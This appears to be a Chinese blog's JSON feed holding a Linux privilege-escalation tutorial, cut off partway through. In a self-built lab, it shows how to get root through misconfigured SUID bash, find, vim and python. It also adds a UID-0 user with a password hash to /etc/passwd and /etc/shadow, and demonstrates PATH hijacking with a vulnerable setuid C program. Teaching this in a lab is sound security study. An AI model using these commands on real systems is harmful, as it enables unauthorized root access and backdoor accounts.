{
    "version": "https://jsonfeed.org/version/1",
    "title": "欢迎来到ZLARYY的个人博客，或许里面有什么好玩的东西~",
    "description": "Web安全 / CTF / 个人学习笔记",
    "home_page_url": "https://zlaryy.top",
    "items": [
        {
            "id": "https://zlaryy.top/2026/06/19/Linux%E6%8F%90%E6%9D%83/",
            "url": "https://zlaryy.top/2026/06/19/Linux%E6%8F%90%E6%9D%83/",
            "title": "Linux提权",
            "date_published": "2026-06-19T14:10:00.000Z",
            "content_html": "<h1 id=\"linux提权持续更新中\"><a class=\"anchor\" href=\"#linux提权持续更新中\">#</a> Linux提权（持续更新中......）</h1>\n<p>参考文章：<a href=\"https://blog.csdn.net/uuzeray/article/details/136098183\">【Web】超级详细的Linux权限提升一站式笔记-CSDN博客</a></p>\n<p><a href=\"https://zhuanlan.zhihu.com/p/530954889\">Linux权限模型详解 - 知乎</a></p>\n<h2 id=\"linux权限模型\"><a class=\"anchor\" href=\"#linux权限模型\">#</a> Linux权限模型</h2>\n<p>Linux权限模型主要围绕三个组展开：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>U：所有者、用户，user</span></span>\n<span class=\"line\"><span>G：用户组，group</span></span>\n<span class=\"line\"><span>O：其他人，other</span></span></code></pre>\n<p>而每个组又由三个权限位构成：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>r：读权限</span></span>\n<span class=\"line\"><span>w：写权限</span></span>\n<span class=\"line\"><span>x：可执行权限</span></span></code></pre>\n<p>我们可以通过<code>whoami</code>和<code>id</code>查看当前用户和用户所属组以及UID：</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/1.png\" class=\"\"></p>\n<p>这里表明当前用户：kali，用户UID：1000，主用户组：kali，所在组：kali</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/2.png\" class=\"\"></p>\n<p>Linux里权限最高的用户是root，root的UID永远是0</p>\n<p>Linux中常见的用户有：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>root:超级管理员</span></span>\n<span class=\"line\"><span>kali:普通登录用户</span></span>\n<span class=\"line\"><span>www-data:web服务用户</span></span>\n<span class=\"line\"><span>mysql:MySQL服务用户</span></span>\n<span class=\"line\"><span>postgres:PostgreSQL服务用户</span></span>\n<span class=\"line\"><span>nobody:极低权限用户</span></span></code></pre>\n<h3 id=\"etcpasswd\"><a class=\"anchor\" href=\"#etcpasswd\">#</a> /etc/passwd</h3>\n<p>用户信息一般存在<code>/etc/passwd</code>里面，可以通过<code>cat</code>命令查看</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/3.png\" class=\"\"></p>\n<p>其每一行格式为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>用户名:密码占位符:UID:GID:描述:用户的主目录:登录shell</span></span></code></pre>\n<ul>\n<li>用户名：用于区分不同用户，同一系统中登录名是唯一的，在很多系统上该字段被限制在8个字符的长度之内</li>\n<li>passwd：用来验证用户的合法性，现在的UNIX/Linux系统中密码不再直接保存在passwd中，通常将passwd文件中的密码字段用一个<code>x</code>来代替，将<code>/etc/shadow</code>作为真正的密码文件，保存包括个人密码在内的数据，当然，shadow文件只有超级用户才有权限读取。<strong>特别的</strong>，如果passwd字段中的第一个字符是<code>*</code>，就表示该账号被查封了，系统不允许持有该账号的用户登录</li>\n<li>用户标志号（UID）：是Linux系统中唯一的用户标志，用于区分不同的用户，在系统内部管理进程和文件保护时使用UID字段，在Linux系统中，用户名和UID都可以用来标志用户，只不过对系统来说UID更重要，对用户来说，用户名更方便，在某些特定的目的下，系统中可以存在多个拥有不同登录名而UID相同的用户，事实上，这些使用不同登录名的用户实际上是同一个用户</li>\n<li>组标志号（GID）：当前用户的默认工作组标志，具有相似属性的多个用户被分配到同一个组内，每个组都有自己的组名并且以自己的组标志号相区分。UNIX/Linux中的用户可以同时属于多个组，除了在passwd文件中指定其归属基本组，还可以在<code>/etc/group</code>文件中明确地指定某个组包含某用户，使该用户属于多个组</li>\n<li>用户的全名或其他描述：包含有关用户的一些信息，如用户的真实姓名、办公室地址、联系电话等。在Linux中，mail和finger等程序用这些信息来标志系统的用户</li>\n<li>用户的主目录：定义了个人用户的主目录，当用户登录之后，他的用户将把该目录作为用户的工作目录。在UNIX/Linux系统中，超级用户root的工作目录为<code>/root</code>，而其他个人用户在<code>/home</code>目录下均有自己独立的工作环境，系统在该目录下位每个用户配置了自己的主目录。个人用户的文件都放置在各自的主目录下。通常，管理员使用用户登录名作为用户主目录的名称。多数shell环境使用<code>~</code>来代表该用户的主目录。</li>\n<li>登录shell：shell是用户登录系统时运行的程序名称，通常是一个shell程序的全路径名，如<code>/bin/bash</code></li>\n</ul>\n<p>用户密码哈希一般存在：<code>/etc/shadow</code>中，通过<code>ls -l /etc/shadow</code>可以查看权限</p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/4.png\" class=\"\"></p>\n<p>表示文件属于root，文件组是shadow，root可以读写，shadow组可以读，其他人没有权限</p>\n<h3 id=\"权限位\"><a class=\"anchor\" href=\"#权限位\">#</a> 权限位</h3>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/5.png\" class=\"\"></p>\n<p>随便查看一个文件的权限可以看到<code>-rwxrwxr-x</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>-:文件类型</span></span>\n<span class=\"line\"><span>第一个rwx:文件所有者权限</span></span>\n<span class=\"line\"><span>第二个rxw:所属组权限</span></span>\n<span class=\"line\"><span>r-x：其他人权限（不可写）</span></span></code></pre>\n<p>在文件类型中：<code>-</code>表示普通文件；<code>d</code>表示目录；<code>|</code>表示软链接；<code>c</code>表示字符设备；<code>b</code>表示块设备</p>\n<p>Linux中也常用数字表示权限：<code>r</code>为4；<code>w</code>为2；<code>x</code>为1，所以<code>chmod 777 ex1</code>就是表示将<code>ex1</code>文件的权限修改为<code>-rwxrwxrwx</code>，<code>chmod 755 ex1</code>表示权限修改为<code>-rwxr-xr-x</code></p>\n<p>常见权限有：777，755，644，600，700</p>\n<p>但是目录权限和文件权限不完全一样，对目录来说，<code>r</code>表示能列出目录内容，<code>w</code>表示能在目录中创建、删除、重命名文件，<code>x</code>表示能进入目录，访问目录里的文件</p>\n<p>另外我们了解<code>chown</code>和<code>chgrp</code>命令：</p>\n<p><code>chown</code>：修改文件所有者，<code>chown 用户 文件</code></p>\n<p><code>chgrp</code>：修改文件所属组，<code>chgrp 用户 文件</code></p>\n<p>实现同时修改文件用户和组：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo chown root:root ex1</span></span></code></pre>\n<h3 id=\"用户组\"><a class=\"anchor\" href=\"#用户组\">#</a> 用户组</h3>\n<p>有些时候不是root用户，但属于某些特殊组，也可能拥有很高权限</p>\n<p>查看当前用户所属组的命令是<code>id</code></p>\n<p>常见危险用户组：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo:可能可以使用sudo提权</span></span>\n<span class=\"line\"><span>docker:可以挂载主机文件系统</span></span>\n<span class=\"line\"><span>lxd:可以通过容器挂载根目录提权</span></span>\n<span class=\"line\"><span>disk:可能直接读取磁盘</span></span>\n<span class=\"line\"><span>adm:可以读取大量日志</span></span>\n<span class=\"line\"><span>shadow:可能读取/etc/passwd</span></span>\n<span class=\"line\"><span>root:高危</span></span>\n<span class=\"line\"><span>staff:某些系统中有额外写权限</span></span></code></pre>\n<p>sudo权限：以其他用户身份执行命令，通常是root</p>\n<p>查看当前用户能执行什么sudo命令：<code>sudo -l</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/6.png\" class=\"\"></p>\n<p>可以看到：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>User kali may run the following commands:</span></span>\n<span class=\"line\"><span>    (ALL : ALL) ALL</span></span></code></pre>\n<p>说明这个用户可以执行任意root命令，如果配置错误，比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>(root) NOPASSWD: /usr/bin/vim</span></span></code></pre>\n<p>表示当前用户可以免密码以root身份运行vim</p>\n<h3 id=\"suid-sgid-sticky-bit\"><a class=\"anchor\" href=\"#suid-sgid-sticky-bit\">#</a> SUID、SGID、Sticky Bit</h3>\n<p>普通权限是<code>rwx</code>，但Linux还有特殊权限，其中最重要的是<code>SUID</code>，如果一个程序拥有SUID权限，那么谁执行它，它都会以文件所有者的身份运行。如果文件所有者是root，那么普通用户执行它时，也会短暂拥有root权限</p>\n<p>比如<code>ls -l /usr/bin/passwd</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/7.png\" class=\"\"></p>\n<p>这里不再是<code>rwx</code>而是<code>rws</code>，里面的<code>s</code>表示的就是<code>SUID</code></p>\n<p>普通用户在执行修改密码的命令时，程序需要修改<code>/etc/passwd</code>文件，但是这个文件只有<code>root</code>可写，所以给这个程序设置<code>SUID</code>权限，让普通用户执行passwd时，临时拥有root权限</p>\n<p>在上述参考文章中也提到了<code>s</code>权限位：每当一个可执行文件的U类别的权限位出现<code>s</code>，那么这个可执行文件变成做<code>setuid</code>二进制文件。每当一个setuid二进制文件运行时，其相应的进程的EUID便被设置为二进制文件的UID，针对passwd而言，进程的EUID被设置为0，也即使进程具备根权限。故其可以使普通用户更改相应的密码。并且可以通过chown和chmod更改文件的的权限位并设置权限位为s。</p>\n<p><strong>注意</strong>：只有可以执行的二进制程序文件才能设定SUID权限，非二进制文件设置SUID权限没有意义；命令执行者要对该程序文件拥有执行权限（x）；命令执行者在执行该程序时获得该程序文件属主的身份；SUID权限只在该程序执行过程中有效</p>\n<p><strong>SGID</strong>特殊权限与SUID类似，只不过其代表执行时继承文件所属组身份，权限位表现为<code>-rwxr-sr-x</code></p>\n<p><strong>Sticky Bit</strong>特殊权限常见于<code>/tmp</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/8.png\" class=\"\"></p>\n<p>最后的<code>t</code>就是<code>Sticky Bit</code>，他的作用是让所有人可以在<code>/tmp</code>里面创建文件，但是只能删除自己的文件而不能随便删除别人的文件</p>\n<p>SUID、SGID、Sticky Bit的数字表示分别为4、2、1</p>\n<p><code>chmod 4755 ex1</code>表示给ex1文件设置SUID权限</p>\n<p><code>chmod 2755 dir1</code>表示给dir1文件设置SGID权限</p>\n<p><code>chmod 1777 /tmp</code>表示给<code>/tmp</code>公共可写目录设置Sticky Bit</p>\n<h3 id=\"进程权限\"><a class=\"anchor\" href=\"#进程权限\">#</a> 进程权限</h3>\n<p>查看进程：<code>ps aux</code></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/9.png\" class=\"\"></p>\n<p>如果我们看到的是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>root       1234  0.0  nginx: master process</span></span>\n<span class=\"line\"><span>www-data   1235  0.0  nginx: worker process</span></span></code></pre>\n<p>说明nginx主进程是root，工作进程是<code>www-data</code></p>\n<p>在Linux中有两个身份：<code>Real UID</code>和<code>Effective UID</code></p>\n<p><code>Real UID</code>：真实用户ID，表示谁启动了这个程序</p>\n<p><code>Effective UID</code>：有效用户ID，也就是程序实际用谁的权限运行</p>\n<p>Linux在判断权限时主要查看<code>euid</code>，也就是<code>Effective UID</code></p>\n<h2 id=\"suid提权\"><a class=\"anchor\" href=\"#suid提权\">#</a> SUID提权</h2>\n<p>接下来我们正式进入Linux提权，首先学习SUID提权：利用某些二进制文件设置了SUID权限，从而用root权限执行系统命令</p>\n<p>设置SUID：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 设置SUID位</span></span>\n<span class=\"line\"><span>chmod u+s filename</span></span>\n<span class=\"line\"><span># 去掉SUID设置</span></span>\n<span class=\"line\"><span>chmod u-s filename</span></span></code></pre>\n<p>如果某一个程序的权限是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>-rwsr-xr-x 1 root root /usr/local/bin/backup</span></span></code></pre>\n<p>那么说明这个程序backup属于root，并且有SUID</p>\n<p>如果这个程序内部存在危险代码比如：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>system(\"sh\");</span></span></code></pre>\n<p>那么普通用户执行它时这些命令就可以以root权限运行</p>\n<p>常见的可以用来提权的命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>nmap</span></span>\n<span class=\"line\"><span>vim</span></span>\n<span class=\"line\"><span>find</span></span>\n<span class=\"line\"><span>bash</span></span>\n<span class=\"line\"><span>more</span></span>\n<span class=\"line\"><span>less</span></span>\n<span class=\"line\"><span>nano</span></span>\n<span class=\"line\"><span>cp</span></span>\n<span class=\"line\"><span>awk</span></span>\n<span class=\"line\"><span>mv</span></span></code></pre>\n<p>查找SUID文件：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>find / -user root -perm -4000 -print 2>/dev/null</span></span>\n<span class=\"line\"><span>find / -perm -u=s -type f 2>/dev/null</span></span>\n<span class=\"line\"><span>find / -user root -perm -4000 -exec ls &#123;&#125; \\; 2>/dev/null</span></span></code></pre>\n<h3 id=\"本地靶场搭建\"><a class=\"anchor\" href=\"#本地靶场搭建\">#</a> 本地靶场搭建</h3>\n<p>在我们的虚拟机中执行以下命令：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># 安装相关工具</span></span>\n<span class=\"line\"><span>sudo apt update</span></span>\n<span class=\"line\"><span>sudo apt install -y gcc make strace ltrace</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 创建低权限用户，用suiduser模拟</span></span>\n<span class=\"line\"><span>sudo useradd -m -s /bin/bash suiduser</span></span>\n<span class=\"line\"><span>echo 'suiduser:123456' | sudo chpasswd</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span># 切换为低权限用户，密码为123456</span></span>\n<span class=\"line\"><span>su - suiduser</span></span></code></pre>\n<p>退出低权限用户是<code>exit</code></p>\n<p></p>\n<p>用带有sudo权限的用户执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo cp /bin/bash /usr/local/bin/rootbash</span></span>\n<span class=\"line\"><span>sudo chown root:root /usr/local/bin/rootbash</span></span>\n<span class=\"line\"><span>sudo chmod 4755 /usr/local/bin/rootbash</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/11.png\" class=\"\"></p>\n<p>这样我们就创建了一个带有SUID权限的<code>/usr/local/bin/rootbash</code></p>\n<h3 id=\"bash提权\"><a class=\"anchor\" href=\"#bash提权\">#</a> bash提权</h3>\n<p>bash命令是用来打开一个shell，同时它具有执行命令的能力，因此，如果配置为使用SUID权限运行，则可以通过bash执行的命令都将以root身份去运行</p>\n<p>这里我们搭建了带有SUID权限的<code>/usr/local/bin/rootbash</code>模拟搜索带有SUID权限文件搜索到<code>/bin/bash</code>的情况，回到低权限用户之后我们尝试执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># -p表示preserve privileges保留权限</span></span>\n<span class=\"line\"><span>/usr/local/bin/rootbash -p</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/12.png\" class=\"\"></p>\n<p>可以看到我们的euid变成了root进程，接下来我们就可以查看低权限用户不可查看的<code>/etc/shadow</code>文件了</p>\n<p>正常情况下的提权需要我们用之前提到过的搜索带有<code>SUID</code>权限的文件，然后对搜索到的文件进行分析，重点查案这些字符串里面是否存在：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/bin/sh</span></span>\n<span class=\"line\"><span>bash</span></span>\n<span class=\"line\"><span>sh</span></span>\n<span class=\"line\"><span>cat</span></span>\n<span class=\"line\"><span>cp</span></span>\n<span class=\"line\"><span>tar</span></span>\n<span class=\"line\"><span>find</span></span>\n<span class=\"line\"><span>python</span></span>\n<span class=\"line\"><span>perl</span></span>\n<span class=\"line\"><span>chmod</span></span>\n<span class=\"line\"><span>chown</span></span>\n<span class=\"line\"><span>system</span></span>\n<span class=\"line\"><span>backup</span></span></code></pre>\n<h3 id=\"find提权\"><a class=\"anchor\" href=\"#find提权\">#</a> find提权</h3>\n<p>find比较常用，find用来在系统中查找文件，同时它也有执行命令的能力，因此如果配置为SUID权限运行则可以通过find执行的命令都将以root身份运行</p>\n<p>仿照配置带有SUID的bash文件，我们执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo cp /bin/find /usr/local/bin/rootfind</span></span>\n<span class=\"line\"><span>sudo chown root:root /usr/local/bin/rootfind</span></span>\n<span class=\"line\"><span>sudo chmod 4755 /usr/local/bin/rootfind</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/13.png\" class=\"\"></p>\n<p>接下来我们回到低权限用户尝试利用这个带有SUID的文件</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span># anyfile文件必须存在</span></span>\n<span class=\"line\"><span>touch anyfile</span></span>\n<span class=\"line\"><span>/usr/local/bin/rootfind anyfile -exec whoami \\;</span></span>\n<span class=\"line\"><span>/usr/local/bin/rootfind . -exec /bin/sh -p \\; -quit</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/14.png\" class=\"\"></p>\n<h3 id=\"vim提权\"><a class=\"anchor\" href=\"#vim提权\">#</a> vim提权</h3>\n<p>利用vim提权的思路是修改<code>/etc/passwd</code>和<code>/etc/shadow</code>文件为自己添加一个拥有root权限的用户</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo cp /bin/vim /usr/local/bin/supevim</span></span>\n<span class=\"line\"><span>sudo chown root:root /usr/local/bin/supevim</span></span>\n<span class=\"line\"><span>sudo chmod 4755 /usr/local/bin/supevim</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/15.png\" class=\"\"></p>\n<p>1.利用vim添加账号：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/bin/supevim /etc/passwd 添加特权用户</span></span>\n<span class=\"line\"><span>添加：ZLARYY:x:0:0::/home/root:/bin/bash</span></span>\n<span class=\"line\"><span>/usr/local/bin/supevim /etc/shadow 添加特权用户</span></span>\n<span class=\"line\"><span>ZLARYY:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/17.png\" class=\"\"></p>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/18.png\" class=\"\"></p>\n<p>2.利用vim打开交互shell：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/bin/supevim -c ':py import os; os.execl(\"/bin/sh\", \"sh\", \"-pc\", \"reset; exec sh -p\")'</span></span></code></pre>\n<p>很多vim不一定支持python，使用这条命令查看：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/bin/supevim --version | grep python</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/19.png\" class=\"\"></p>\n<p>看到<code>+python</code>或<code>+python2</code>说明支持python，可以用上面的命令打开交互shell</p>\n<p>这里是<code>+python3</code>所以命令需要修改为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/bin/supevim -c ':py3 import os; os.execl(\"/bin/bash\", \"bash\", \"-p\")'</span></span>\n<span class=\"line\"><span>或者</span></span>\n<span class=\"line\"><span>/usr/local/bin/supevim -c ':py3 import os; os.setuid(0); os.setgid(0); os.execl(\"/bin/bash\", \"bash\", \"-p\")'</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/20.png\" class=\"\"></p>\n<h3 id=\"python提权\"><a class=\"anchor\" href=\"#python提权\">#</a> python提权</h3>\n<p>如果某个python解释器具有SUID root权限，那么普通用户执行它时，python进程的euid会变成root</p>\n<p>同样执行下面三条命令进行模拟：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>sudo cp /bin/python3 /usr/local/bin/rootpython3</span></span>\n<span class=\"line\"><span>sudo chown root:root /usr/local/bin/rootpython3</span></span>\n<span class=\"line\"><span>sudo chmod 4755 /usr/local/bin/rootpython3</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/21.png\" class=\"\"></p>\n<p>那么我们可以执行：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>/usr/local/bin/rootpython3 -c 'import os; os.execl(\"/bin/sh\", \"sh\", \"-p\")'</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/22.png\" class=\"\"></p>\n<h3 id=\"path路径劫持\"><a class=\"anchor\" href=\"#path路径劫持\">#</a> PATH路径劫持</h3>\n<p>漏洞存在于：SUID root程序调用外部命令时，没有写绝对路径，例如程序里写了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>system(\"backup\");</span></span></code></pre>\n<p>而不是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>system(\"/usr/local/bin/backup\");</span></span></code></pre>\n<p>那么我们就可以伪造一个叫做<code>backup</code>的文件，让SUID程序以root权限执行它</p>\n<p><strong>搭建带有漏洞的SUID程序文件</strong>（这里我用的是本地的wsl开启Linux，感觉方便一些，用VM也可以，记住文件地址就好）</p>\n<p>将以下C代码命名为<code>backup_suid.c</code></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#include &#x3C;stdlib.h></span></span>\n<span class=\"line\"><span>#include &#x3C;unistd.h></span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>int main() &#123;</span></span>\n<span class=\"line\"><span>    setuid(0);</span></span>\n<span class=\"line\"><span>    setgid(0);</span></span>\n<span class=\"line\"><span>    system(\"backup\");</span></span>\n<span class=\"line\"><span>    return 0;</span></span>\n<span class=\"line\"><span>&#125;</span></span></code></pre>\n<p>编译并设置SUID：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>gcc backup_suid.c -o backup_suid</span></span>\n<span class=\"line\"><span></span></span>\n<span class=\"line\"><span>sudo mv backup_suid /usr/local/bin/backup_suid</span></span>\n<span class=\"line\"><span>sudo chown root:root /usr/local/bin/backup_suid</span></span>\n<span class=\"line\"><span>sudo chmod 4755 /usr/local/bin/backup_suid</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/06/19/Linux%E6%8F%90%E6%9D%83/23.png\" class=\"\"></p>\n<p>接下来我们以低权限suiduser登录，在<code>/tmp/suid_test</code>目录下创建一个假的<code>backup</code>：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>cat > backup &#x3C;&#x3C; 'EOF'</span></span>\n<span class=\"line\"><span>#!/bin/bash</span></span>\n<span class=\"line\"><span>/bin/bash -p</span></span>\n<span class=\"line\"><span>EOF</span></span></code></pre>\n<p>这里不直接在<code>/mnt/e</code>目录下添加权限是因为会表现为：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>chmod: changing permissions of 'backup': Operation not permitted</span></span></code></pre>\n<p>然后赋予其执行权限：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>chmod +x 